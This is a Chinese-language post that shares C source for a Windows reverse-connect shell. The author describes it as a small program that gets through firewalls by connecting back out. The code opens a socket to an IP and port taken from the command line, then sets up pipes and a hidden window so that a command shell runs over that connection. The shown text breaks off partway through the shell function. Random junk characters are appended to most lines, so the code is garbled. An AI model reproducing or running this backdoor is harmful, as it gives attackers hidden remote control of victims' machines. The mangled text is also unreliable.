这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W6jdS;3
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/* ============================== Kq;s${ |G
Rebound port in Windows NT lR0WDJv
By wind,2006/7 O_^t u?x
===============================*/ _qsg2e}n
#include 8'o6:
#include b9 TsuY
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#pragma comment(lib,"wsock32.lib") D}]u9jS1
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void OutputShell(); 0 ![
SOCKET sClient; 0%"sOth
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q3 yW#eD
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void main(int argc,char **argv) ev9ltl{
{ %SJFuw"
WSADATA stWsaData; 1Y{pf]5Wx
int nRet; abkt&981K+
SOCKADDR_IN stSaiClient,stSaiServer; yR[htD`
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if(argc != 3) I3d!!L2ma
{ _
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printf("Useage:\n\rRebound DestIP DestPort\n"); `R,g_{Mj
return; Og<nnq
} A_2oQ*
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WSAStartup(MAKEWORD(2,2),&stWsaData); h9I vuv'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U flS`
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stSaiClient.sin_family = AF_INET; Z^O_7I<5E
stSaiClient.sin_port = htons(0); =jkiM_<h
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !M;><b}=5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k@>y<A{;D
{ P;
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printf("Bind Socket Failed!\n"); 1i/&t[
return; UB,:won
} a}[ 1*_G
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stSaiServer.sin_family = AF_INET; T[ltOQw?Y
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); PAS0 D
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u_jhmKr~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [(m+Ejzi%
{ :EV*8{:aLU
printf("Connect Error!"); <CGABlZ
return; zy'cf5k2
} 4x"9Wr=}
OutputShell(); &sg~owz
} 9z kRwrQ
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void OutputShell() Eh&-b6:
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char szBuff[1024]; PIM4c
SECURITY_ATTRIBUTES stSecurityAttributes; % 9} ?*U
OSVERSIONINFO stOsversionInfo; DE!c+s_g4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }fh<L CwTi
STARTUPINFO stStartupInfo; q6EZ?bo{
char *szShell; THY=8&x)
PROCESS_INFORMATION stProcessInformation; s5J?,xu
unsigned long lBytesRead; 2k M;7:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \^x`GsVy
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; $d5}OI"g
stSecurityAttributes.bInheritHandle = TRUE; !yD$fY
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); X ;Cl8
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k nljc^
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r mJ`^6V
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NM+(ss'
stStartupInfo.wShowWindow = SW_HIDE; >>%E?'9A
stStartupInfo.hStdInput = hReadPipe; 3gs!ojG
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #83pitcc
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GetVersionEx(&stOsversionInfo); Cq[<CPAS
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switch(stOsversionInfo.dwPlatformId) <